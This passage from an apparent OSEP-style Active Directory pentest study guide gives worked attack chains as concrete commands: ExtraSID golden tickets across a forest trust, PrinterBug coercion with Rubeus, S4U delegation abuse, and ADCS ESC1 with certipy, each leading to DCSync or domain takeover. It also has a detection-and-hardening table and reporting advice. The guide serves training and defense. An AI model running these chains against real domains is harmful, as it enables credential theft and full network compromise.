Phase 5 — Cross the trust to the forest root (ExtraSID). Enumerate trusts; the current domain is a child of root.local. Craft a golden ticket with an ExtraSid for a non-filtered group (RID ≥1000 / domain-local) that grants access in the parent, using the child krbtgt:
mimikatz # kerberos::golden /user:h4x /domain:child.dom.local /sid:<childSID> /krbtgt:<child-krbtgt> /sids:<parent-group-SID> /ptt
└─$ (then) psexec.py [email protected] -k -no-pass # or PsExec \\dc.root.local cmd
Phase 6 — Persist & report. With krbtgt you can forge Golden Tickets (note for the report: rotate krbtgt twice to invalidate). Document the full path.
Chain summary (each link a fix): foothold → Kerberoast weak svc_sql → WriteDACL on WebAdmins → Domain Admin → DCSync → ExtraSID golden ticket across trust → forest root. Remediations that break links: strong service-account passwords/gMSA, remove the WriteDACL misconfig, tier admin rights, alert on DCSync from non-DCs, enable SID filtering / selective authentication on the trust.
Worked Chain B — Unconstrained delegation + coercion → DCSync.
BloodHound /
Get-DomainComputer -Unconstrained→ you have admin onWEB01, which has unconstrained delegation.On WEB01, start
Rubeus.exe monitor /interval:5 /nowrapto capture inbound TGTs.Coerce the DC to authenticate to WEB01 with the PrinterBug:
SpoolSample.exe DC01 WEB01.Rubeus captures
DC01$'s TGT →Rubeus ptt /ticket:<b64>.As the DC account you hold replication rights →
secretsdump.py -just-dc dom.local/'DC01$'@DC01 -k -no-pass(orlsadump::dcsync) → domain hashes. Fix: disable spooler on DCs, remove unconstrained delegation.
Worked Chain C — Constrained delegation (S4U) → host takeover.
Get-DomainUser -TrustedToAuth→svc_webmay delegate toHTTP/APP01. You crackedsvc_web(Kerberoast, §7).Rubeus asktgt /user:svc_web /rc4:<hash>→ TGT for svc_web.Rubeus s4u /ticket:<b64> /impersonateuser:administrator /msdsspn:HTTP/APP01 /altservice:CIFS /ptt— altservice swaps the allowedHTTPSPN forCIFS, giving file/admin access as administrator to APP01.psexec.py -k -no-pass administrator@APP01→ SYSTEM on APP01. Fix: mark admins "sensitive, cannot be delegated"; scope delegation tightly.
Worked Chain D — ADCS ESC1 → Domain Admin.
certipy find -vulnerable→ templateUserCertallows low-priv enroll, client-auth EKU, and enrollee-supplies-subject (SAN).Request a cert impersonating a DA:
certipy req -u [email protected] -p 'Passw0rd!' -ca CORP-CA -template UserCert -upn [email protected].Authenticate with the PFX to get the DA's TGT + NT hash:
certipy auth -pfx administrator.pfx -dc-ip <dc>.secretsdump.py -just-dc dom.local/administrator@<dc> -hashes :<NT>→ domain owned. Fix: remove SAN on client-auth templates / require approval.
22. Detection & Hardening (Purple-Team Half)
OSEP reports score on pairing each attack with its defense. Consolidated map:
Attack | Primary detection | Hardening |
|---|---|---|
Kerberoasting | many/RC4 TGS-REQs from one user (Event 4769) | strong/long or gMSA service passwords; AES-only |
AS-REP roast | AS-REQ without pre-auth (4768) | require pre-auth |
ACL abuse (WriteDACL/GenericAll) | DACL changes (5136) on sensitive objects | least-privilege ACLs; audit ACEs |
RBCD | writes to |
|
ADCS (ESC1/8) | cert requests with SAN; CA enrollment (4886/4887); relay to CA | remove SAN on client-auth templates; approval; EPA |
GPO abuse | GPO changes (5136 groupPolicyContainer); new SYSVOL tasks | restrict GPO edit rights; audit links |
Unconstrained deleg. + coercion | spooler pipe access; DC auth to non-DC | disable spooler on DCs; remove unconstrained; RPC filters |
DCSync | replication (4662 GetChanges) from non-DC IP | restrict replication rights; alert on non-DC DCSync |
Golden/Silver/Diamond ticket | anomalous ticket lifetimes; RC4 downgrade; non-existent users | rotate |
Pass-the-Hash / OverPtH | NTLM where Kerberos expected; 4624 type 9 | LAPS, Credential Guard, tiering |
LSASS dump | non-system handle to | Credential Guard; PPL; ASR "block cred theft" |
Shadow Credentials | writes to | audit KeyCredentialLink; ADCS hardening |
Trust / ExtraSID | golden ticket across trust; foreign SIDs in PAC | SID filtering / selective authentication |
Evasion (AMSI/injection) | ScriptBlock logs; cross-proc writes; RWX; unbacked exec | ASR rules; WDAC; Tamper Protection; PS logging |
Tiering (the meta-fix): separate Tier-0 (DCs, domain admins) from Tier-1/2; never expose Tier-0 creds on lower-tier hosts — this breaks most lateral chains at the root.
23. Reporting & Glossary
Report: Executive Summary → Scope & Methodology → Findings (per finding: severity, host, description, impact, evidence/screenshots, reproduction, remediation) → Attack Narrative (the chained path: foothold → escalation → lateral → DA → forest, with a diagram) → Remediation Summary → Appendices. OSEP grades the narrative + evidence; for each offensive step, include the detection/hardening (from §2 and the "Defenders:" notes) — that's what turns it into a useful deliverable.
Glossary: ACE/ACL · WriteDACL/GenericAll/GenericWrite · S4U2Self/S4U2Proxy · unconstrained/constrained/RBCD delegation · PrinterBug/coercion · DCSync · Pass-the-Hash · Restricted Admin · SID history/ExtraSID/SID filtering · Golden Ticket · LAPS · SOCKS/proxychains · AMSI/CLM (§2).
End of guide. Authorized/lab use only. The AD, credential, lateral-movement, pivoting, and trust material is standard methodology paired with detection; the evasion/payload-injection topics are covered conceptually with their defensive tells rather than as working tooling — build those in your own licensed OSEP lab from the course. Document every hop and pair each technique with its detection for the report.